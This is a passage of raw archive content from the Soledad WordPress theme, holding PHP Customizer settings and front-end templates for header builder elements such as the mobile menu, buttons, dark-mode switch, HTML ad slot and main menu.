	'id'      => 'penci_header_pb_mobile_menu_desc',
	'label'   => __('Please go to Appearance → Customize → Logo & Header → Vertical Mobile Navigation to configure the mobile menu.','soledad' ),
	'type'    => 'soledad-fw-alert',
	'default' => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Mobile Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\sS  S  *  builder/elements/pb_button_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-3';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     /w\Ѵ~  ~  )  builder/elements/pb_button_3/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_3_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_3_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => 'Blank',
		'_self'   => 'Self',
		'_parent' => 'Parent',
		'_top'    => 'Top',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_3_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_3_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_3_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\\    *  builder/elements/pb_darkmode/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$style = penci_builder_validate_mod( $header_data, 'penci_header_pb_darkmode_style', '3' );
?>
<div class="pb-header-builder pc-dmswitcher-element">
    <div class="pc_dm_mode style_<?php echo esc_attr( $style ); ?>">
        <label class="pc_dm_switch">
            <input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
            <span class="slider round"></span>
        </label>
    </div>
</div>
PK     /w\҈
  
  )  builder/elements/pb_darkmode/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_darkmode_desc',
	'type'     => 'soledad-fw-alert',
	'label'    => __( 'Please go to "Appearance > Customize > Dark Mode/Dark Theme": turn on the "Enable Dark Mode Switcher" option before using this feature.', 'soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_style',
	'default'   => '3',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Style', 'soledad' ),
	'choices'   => [
		'1' => __( 'Style 1', 'soledad' ),
		'2' => __( 'Style 2', 'soledad' ),
		'3' => __( 'Style 3', 'soledad' ),
		'4' => __( 'Style 4', 'soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'General Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_d_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Day Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_d_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Day Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_n_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Night Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_n_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Night Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\I  I  2  builder/elements/pb_html_ad_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_mobile_2_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-mobile-2">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     /w\pg	  g	  1  builder/elements/pb_html_ad_mobile_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_mobile_2_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_mobile_2_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_mobile_2_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     /w\T  T  +  builder/elements/pb_main_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_name' );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style', 'menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_class', 'no-class' );
$classes[] = 'disable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_header_enable_padding' ) ? 'menu-item-normal' : 'menu-item-padding';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-main-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<?php
			if ( $menu_id ) {
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_builder_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     /w\ژ1  1  *  builder/elements/pb_main_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_main_menu_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	
	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		'penci_header_pb_main_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_main_menu_penci_header_remove_line_hover',
	'default'     => 'disable',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Hide Line When Hover on Menu Items Level 1','soledad' ),
	
	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Primary Menu Items','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_section_slogan_heading',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Colors', 'soledad' ),
	
	'type'      => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_section_slogan_heading_1',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),
	
	'type'      => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_line_height_lv1',
	),
	'choices'   => array(
